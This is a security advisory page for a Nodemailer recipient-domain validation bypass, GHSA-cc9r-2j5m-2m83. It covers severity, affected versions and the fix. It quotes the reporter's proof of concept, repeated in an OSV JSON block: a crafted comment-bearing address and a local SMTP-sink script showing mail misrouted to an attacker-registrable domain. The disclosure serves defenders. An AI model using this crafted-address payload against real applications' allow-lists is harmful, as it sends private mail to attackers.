GHSA-cc9r-2j5m-2m83: Nodemailer Recipient-domain Validation Bypass Vulnerability

MODERATE
CVSS 6.5
CWE-436 CWE-20
Published
Advisory Summary

GHSA-cc9r-2j5m-2m83 is a MODERATE (CVSS 6.5) recipient-domain validation bypass vulnerability (CWE-436: Interpretation Conflict) affecting Nodemailer libraries in the npm ecosystem. The issue involves recipient-domain validation bypass via rfc 5322 comment mis-parsing leads to email delivery to an attacker-controlled domain. Remediation is available by upgrading affected packages to version 9.1.0.

GHSA-cc9r-2j5m-2m83 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-cc9r-2j5m-2m83
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-436: Interpretation Conflict
Affected Product Nodemailer
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix GHSA-cc9r-2j5m-2m83

To remediate this vulnerability, upgrade all affected Nodemailer dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

nodemailer fixed: 9.1.0
npm install nodemailer@9.1.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls nodemailer

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-cc9r-2j5m-2m83, inspect your project dependencies using npm:

npm ls nodemailer

Analyze the terminal output to locate any version of Nodemailer in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 9.1.0), your application is affected.

Note: The npm ls nodemailer command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-436: Interpretation Conflict, where product a handles inputs or steps differently than product b, which causes a to perform incorrect actions based on its perception of b's state. In Nodemailer, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Nodemailer's email-address parser treats an **RFC 5322 comment** `( ... )` inside the domain as a point to **concatenate** the surrounding text, rather than as folding whitespace (CFWS) that **terminates** the domain. Consequently a recipient address such as `user@good-corp.com(x)evil.com` is parsed and **delivered to `good-corp.comevil.com`** (registrable domain `comevil.com`, attacker‑controlled), while a conformant RFC 5322 parser terminates the domain at the comment and reads `good-corp.com`. An application that decides *whether it is allowed to email a recipient* by parsing/validating the recipient's domain — with a strict RFC 5322 parser (used without inspecting parse defects) or with a naive prefix/substring allow‑list — and then hands the raw address to Nodemailer for delivery, can be induced to send mail to a domain the attacker controls. This is an **Interpretation Conflict (CWE‑436)**, the same class as CVE‑2025‑13033, reached through the RFC 5322 *comment* construct (the "Comments" technique in PortSwigger's *Splitting the email atom* research, which produced a Postfix fix). Severity is **Moderate**: exploitation requires the app's domain check to disagree with Nodemailer (see **Impact** for exactly which parsers do and do not). Verified end‑to‑end against a real RFC 5321 SMTP server (nodemailer 9.0.6 → `aiosmtpd`). ### Details Root cause is in `lib/addressparser/index.js`. 1. The tokenizer registers the comment as an operator pair (`Tokenizer.operators`): ```js '(': ')', // line ~331 ``` 2. When the **closing** `)` is immediately followed by a non‑break character (anything other than space / tab / CR / LF / `,` / `;`), the tokenizer marks that operator token with `noBreak = true`: ```js // Tokenizer.checkChar, lines ~398-399 if (nextChr && ![' ', '\t', '\r', '\n', ',', ';'].includes(nextChr)) { this.node.noBreak = true; } ``` 3. `_handleAddress` then **glues** the token that follows the comment onto the token that preceded it (dropping the comment): ```js // _handleAddress, lines ~187-188 if (prevToken && prevToken.noBreak && data[state].length) { data[state][data[state].length - 1] += token.value; // <-- concatenation } ``` For the input `user@good-corp.com(x)evil.com` the tokens are `text:"user@good-corp.com"`, `op:"("`, `text:"x"`, `op:")"` (flagged `noBreak`), `text:"evil.com"`. Step 3 appends `evil.com` onto `user@good-corp.com`, producing the single domain **`good-corp.comevil.com`**. The comment content (`x`) is discarded into the display‑name field. RFC 5322 defines a comment as CFWS — semantically folding whitespace — and it may **not** appear inside a `dot-atom`. A comment therefore *separates* tokens and terminates the domain; the conformant reading of `good-corp.com(x)evil.com` is the domain `good-corp.com` (with the trailing `evil.com` being invalid/ignored). Nodemailer instead concatenates the two atoms across the removed comment, yielding a different, attacker‑registrable domain. Nodemailer uses the parsed address for **both** the SMTP envelope (`getEnvelope()` → `RCPT TO`) and the emitted `To:`/`From:` headers, so the entire message is routed to the concatenated domain. **Related grammar defect (bonus, lower impact):** nested comments are legal in RFC 5322, but the tokenizer closes the comment at the *first* `)` (`chr === this.operatorExpecting`, line ~392), so a valid nested comment such as `user@x.com(a(b)c)` is mis‑balanced and mangled to `x.comc)`. That particular output contains a stray `)` and is **rejected** by a conformant MTA (501) — a bounce/robustness issue, not a misroute. **Suggested fix:** treat a comment as folding whitespace that terminates the current token — i.e. do **not** propagate `noBreak` across a comment‑closing `)` (restrict the `noBreak` optimization to quoted‑string closes), and support nested comments per RFC 5322. Equivalently, never emit a domain formed by concatenating two atoms that were separated only by a comment. ### PoC Environment: Node.js ≥ 18 and the published `nodemailer@9.0.6`. No special transport configuration is required; the discrepancy is in address parsing. `poc-comment.js`: ```js 'use strict'; const net = require('net'); const nodemailer = require('nodemailer'); // 9.0.6 const TRUSTED = 'good-corp.com'; const RECIPIENT = 'user@good-corp.com(x)evil.com'; // RFC 5322 comment (x) between two domains // tiny SMTP sink that prints the literal RCPT TO nodemailer transmits const server = net.createServer(sock => { let buf = ''; sock.write('220 sink\r\n'); sock.on('data', d => { buf += d; let i; while ((i = buf.indexOf('\r\n')) >= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2); const u = line.toUpperCase(); if (u.startsWith('EHLO')) sock.write('250-sink\r\n250 8BITMIME\r\n'); else if (u.startsWith('RCPT')) { console.log('nodemailer transmits :', line); sock.write('250 ok\r\n'); } else if (u.startsWith('DATA')) sock.write('354 go\r\n'); else if (line === '.') sock.write('250 ok\r\n'); else if (u.startsWith('QUIT')) { sock.write('221 bye\r\n'); sock.end(); } else sock.write('250 ok\r\n'); } }); }); server.listen(0, '127.0.0.1', async () => { const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false }); await t.sendMail({ from: 'app@good-corp.com', to: RECIPIENT, subject: 'hi', text: 'x' }); t.close(); server.close(); }); ``` Run: ``` npm init -y && npm install nodemailer@9.0.6 node poc-comment.js ``` Actual output (nodemailer 9.0.6): ``` nodemailer transmits : RCPT TO:<user@good-corp.comevil.com> ``` The application asked to mail `user@good-corp.com(x)evil.com`; Nodemailer delivers to `good-corp.comevil.com` — registrable domain `comevil.com`, which an attacker can register. **Verified against a real RFC 5321 server** (containerized lab included with this report — `docker compose up --build`, case `R8_comment_glue`, receiver = `aiosmtpd`): ``` wire RCPT TO : RCPT TO:<user@good-corp.comevil.com> real server : ACCEPTED (250) recipient parsed by real server : user@good-corp.comevil.com (domain good-corp.comevil.com) delivered To header : x <user@good-corp.comevil.com> ``` **Which parser sees what** (the crux of exploitability): | Parser used by the application to gate/route | Domain it reads from `user@good-corp.com(x)evil.com` | Deceived? | |---|---|---| | Python `email.policy.default` (strict RFC 5322) | `good-corp.com` *(flags `InvalidHeaderDefect`)* | Yes, if defects are not checked | | Naive prefix / substring allow‑list (`startsWith`/`includes('@good-corp.com')`) | `good-corp.com` | Yes | | Nodemailer's own `addressparser` | `good-corp.comevil.com` | No | | Python `email.utils.getaddresses` | `good-corp.comevil.com` | No | | WHATWG `url.domainToASCII` | `good-corp.com(x)evil.com` | No | ### Impact * **Who is impacted:** applications that make a security or routing decision on the recipient **domain** using a parser that terminates the domain at the comment, while relying on Nodemailer for delivery — specifically those that validate with a strict RFC 5322 parser **without inspecting parse defects**, or with a **prefix/substring/allow‑list** check (e.g. "only send to `@good-corp.com`", employee‑only flows, "same‑tenant" routing). Applications that validate with Nodemailer's own `addressparser`, `email.utils.getaddresses`, or `url.domainToASCII` are **not** affected, which is why this is rated below the IDN/Punycode issue. ## Patched in 9.1.0 Fixed in [902b63e](https://github.com/nodemailer/nodemailer/commit/902b63e). Not propagating `noBreak` across the closing `)` on its own breaks valid addresses, because CFWS is legal on either side of the `@`: `user@(x)good-corp.com` and `user(x)@good-corp.com` both come out mangled. A comment now joins what it separates only when one side carries the `@`, so those keep resolving while `user@good-corp.com(x)evil.com` terminates at `good-corp.com`. Quoted-string and angle-address joining are unchanged. Nested comments are still not modelled, but the misroute is gone: `user@x.com(a(b)c)` now yields `user@x.com`.

GHSA-cc9r-2j5m-2m83 Affected Nodemailer Versions

1 component(s)
Fixed Versions:
9.1.0
Product / Package Ecosystem Affected Versions Fixed Version
nodemailer
npm
≥ 6.9.16
< 9.1.0
9.1.0

References

Frequently Asked Questions

What is GHSA-cc9r-2j5m-2m83?
GHSA-cc9r-2j5m-2m83 is a security vulnerability in Nodemailer involving Recipient-domain validation bypass via RFC 5322 comment mis-parsing leads to email delivery to an attacker-controlled domain under CWE-436: Interpretation Conflict.
Which Nodemailer versions are affected?
Affected versions include releases prior to 9.1.0 across affected packages: nodemailer.
What version fixes GHSA-cc9r-2j5m-2m83?
Upgrading to 9.1.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is nodemailer affected?
Yes, nodemailer is affected in releases prior to 9.1.0. Upgrade your dependency to 9.1.0 or later.
What is the CVSS score of GHSA-cc9r-2j5m-2m83?
GHSA-cc9r-2j5m-2m83 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N.
What CWE is associated with GHSA-cc9r-2j5m-2m83?
GHSA-cc9r-2j5m-2m83 is classified under CWE-436: Interpretation Conflict (Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.).
How can I check npm dependencies for GHSA-cc9r-2j5m-2m83?
Run the dependency tree command: 'npm ls nodemailer'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cc9r-2j5m-2m83",
  "modified" : "2026-09-08T21:32:52Z",
  "published" : "2026-09-08T21:32:51Z",
  "aliases" : [ ],
  "summary" : "Nodemailer: Recipient-domain validation bypass via RFC 5322 comment mis-parsing leads to email delivery to an attacker-controlled domain",
  "details" : "### Summary\n\nNodemailer's email-address parser treats an **RFC 5322 comment** `( ... )` inside the domain as a point to **concatenate** the surrounding text, rather than as folding whitespace (CFWS) that **terminates** the domain. Consequently a recipient address such as `user@good-corp.com(x)evil.com` is parsed and **delivered to `good-corp.comevil.com`** (registrable domain `comevil.com`, attacker‑controlled), while a conformant RFC 5322 parser terminates the domain at the comment and reads `good-corp.com`.\n\nAn application that decides *whether it is allowed to email a recipient* by parsing/validating the recipient's domain — with a strict RFC 5322 parser (used without inspecting parse defects) or with a naive prefix/substring allow‑list — and then hands the raw address to Nodemailer for delivery, can be induced to send mail to a domain the attacker controls. This is an **Interpretation Conflict (CWE‑436)**, the same class as CVE‑2025‑13033, reached through the RFC 5322 *comment* construct (the \"Comments\" technique in PortSwigger's *Splitting the email atom* research, which produced a Postfix fix).\n\nSeverity is **Moderate**: exploitation requires the app's domain check to disagree with Nodemailer (see **Impact** for exactly which parsers do and do not). Verified end‑to‑end against a real RFC 5321 SMTP server (nodemailer 9.0.6 → `aiosmtpd`).\n\n### Details\n\nRoot cause is in `lib/addressparser/index.js`.\n\n1. The tokenizer registers the comment as an operator pair (`Tokenizer.operators`):\n   ```js\n   '(': ')',            // line ~331\n   ```\n2. When the **closing** `)` is immediately followed by a non‑break character (anything other than space / tab / CR / LF / `,` / `;`), the tokenizer marks that operator token with `noBreak = true`:\n   ```js\n   // Tokenizer.checkChar, lines ~398-399\n   if (nextChr && ![' ', '\\t', '\\r', '\\n', ',', ';'].includes(nextChr)) {\n       this.node.noBreak = true;\n   }\n   ```\n3. `_handleAddress` then **glues** the token that follows the comment onto the token that preceded it (dropping the comment):\n   ```js\n   // _handleAddress, lines ~187-188\n   if (prevToken && prevToken.noBreak && data[state].length) {\n       data[state][data[state].length - 1] += token.value;   // <-- concatenation\n   }\n   ```\n\nFor the input `user@good-corp.com(x)evil.com` the tokens are `text:\"user@good-corp.com\"`, `op:\"(\"`, `text:\"x\"`, `op:\")\"` (flagged `noBreak`), `text:\"evil.com\"`. Step 3 appends `evil.com` onto `user@good-corp.com`, producing the single domain **`good-corp.comevil.com`**. The comment content (`x`) is discarded into the display‑name field.\n\nRFC 5322 defines a comment as CFWS — semantically folding whitespace — and it may **not** appear inside a `dot-atom`. A comment therefore *separates* tokens and terminates the domain; the conformant reading of `good-corp.com(x)evil.com` is the domain `good-corp.com` (with the trailing `evil.com` being invalid/ignored). Nodemailer instead concatenates the two atoms across the removed comment, yielding a different, attacker‑registrable domain.\n\nNodemailer uses the parsed address for **both** the SMTP envelope (`getEnvelope()` → `RCPT TO`) and the emitted `To:`/`From:` headers, so the entire message is routed to the concatenated domain.\n\n**Related grammar defect (bonus, lower impact):** nested comments are legal in RFC 5322, but the tokenizer closes the comment at the *first* `)` (`chr === this.operatorExpecting`, line ~392), so a valid nested comment such as `user@x.com(a(b)c)` is mis‑balanced and mangled to `x.comc)`. That particular output contains a stray `)` and is **rejected** by a conformant MTA (501) — a bounce/robustness issue, not a misroute.\n\n**Suggested fix:** treat a comment as folding whitespace that terminates the current token — i.e. do **not** propagate `noBreak` across a comment‑closing `)` (restrict the `noBreak` optimization to quoted‑string closes), and support nested comments per RFC 5322. Equivalently, never emit a domain formed by concatenating two atoms that were separated only by a comment.\n\n### PoC\n\nEnvironment: Node.js ≥ 18 and the published `nodemailer@9.0.6`. No special transport configuration is required; the discrepancy is in address parsing.\n\n`poc-comment.js`:\n```js\n'use strict';\nconst net = require('net');\nconst nodemailer = require('nodemailer'); // 9.0.6\n\nconst TRUSTED   = 'good-corp.com';\nconst RECIPIENT = 'user@good-corp.com(x)evil.com'; // RFC 5322 comment (x) between two domains\n\n// tiny SMTP sink that prints the literal RCPT TO nodemailer transmits\nconst server = net.createServer(sock => {\n  let buf = ''; sock.write('220 sink\\r\\n');\n  sock.on('data', d => { buf += d; let i;\n    while ((i = buf.indexOf('\\r\\n')) >= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2);\n      const u = line.toUpperCase();\n      if (u.startsWith('EHLO')) sock.write('250-sink\\r\\n250 8BITMIME\\r\\n');\n      else if (u.startsWith('RCPT')) { console.log('nodemailer transmits :', line); sock.write('250 ok\\r\\n'); }\n      else if (u.startsWith('DATA')) sock.write('354 go\\r\\n');\n      else if (line === '.') sock.write('250 ok\\r\\n');\n      else if (u.startsWith('QUIT')) { sock.write('221 bye\\r\\n'); sock.end(); }\n      else sock.write('250 ok\\r\\n'); } });\n});\nserver.listen(0, '127.0.0.1', async () => {\n  const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false });\n  await t.sendMail({ from: 'app@good-corp.com', to: RECIPIENT, subject: 'hi', text: 'x' });\n  t.close(); server.close();\n});\n```\n\nRun:\n```\nnpm init -y && npm install nodemailer@9.0.6\nnode poc-comment.js\n```\n\nActual output (nodemailer 9.0.6):\n```\nnodemailer transmits : RCPT TO:<user@good-corp.comevil.com>\n```\n\nThe application asked to mail `user@good-corp.com(x)evil.com`; Nodemailer delivers to `good-corp.comevil.com` — registrable domain `comevil.com`, which an attacker can register.\n\n**Verified against a real RFC 5321 server** (containerized lab included with this report — `docker compose up --build`, case `R8_comment_glue`, receiver = `aiosmtpd`):\n```\nwire RCPT TO                     : RCPT TO:<user@good-corp.comevil.com>\nreal server                      : ACCEPTED (250)\nrecipient parsed by real server  : user@good-corp.comevil.com   (domain good-corp.comevil.com)\ndelivered To header              : x <user@good-corp.comevil.com>\n```\n\n**Which parser sees what** (the crux of exploitability):\n\n| Parser used by the application to gate/route | Domain it reads from `user@good-corp.com(x)evil.com` | Deceived? |\n|---|---|---|\n| Python `email.policy.default` (strict RFC 5322) | `good-corp.com` *(flags `InvalidHeaderDefect`)* | Yes, if defects are not checked |\n| Naive prefix / substring allow‑list (`startsWith`/`includes('@good-corp.com')`) | `good-corp.com` | Yes |\n| Nodemailer's own `addressparser` | `good-corp.comevil.com` | No |\n| Python `email.utils.getaddresses` | `good-corp.comevil.com` | No |\n| WHATWG `url.domainToASCII` | `good-corp.com(x)evil.com` | No |\n\n### Impact\n\n\n\n* **Who is impacted:** applications that make a security or routing decision on the recipient **domain** using a parser that terminates the domain at the comment, while relying on Nodemailer for delivery — specifically those that validate with a strict RFC 5322 parser **without inspecting parse defects**, or with a **prefix/substring/allow‑list** check (e.g. \"only send to `@good-corp.com`\", employee‑only flows, \"same‑tenant\" routing). Applications that validate with Nodemailer's own `addressparser`, `email.utils.getaddresses`, or `url.domainToASCII` are **not** affected, which is why this is rated below the IDN/Punycode issue.\n\n## Patched in 9.1.0\n\nFixed in [902b63e](https://github.com/nodemailer/nodemailer/commit/902b63e).\n\nNot propagating `noBreak` across the closing `)` on its own breaks valid addresses, because CFWS is legal on either side of the `@`: `user@(x)good-corp.com` and `user(x)@good-corp.com` both come out mangled. A comment now joins what it separates only when one side carries the `@`, so those keep resolving while `user@good-corp.com(x)evil.com` terminates at `good-corp.com`.\n\nQuoted-string and angle-address joining are unchanged. Nested comments are still not modelled, but the misroute is gone: `user@x.com(a(b)c)` now yields `user@x.com`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "nodemailer"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "6.9.16"
      }, {
        "fixed" : "9.1.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-cc9r-2j5m-2m83"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/pull/1848"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/commit/902b63e935435c30f4025901c0902dce64cd8880"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nodemailer/nodemailer"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-436" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-08T21:32:51Z",
    "nvd_published_at" : null
  }
}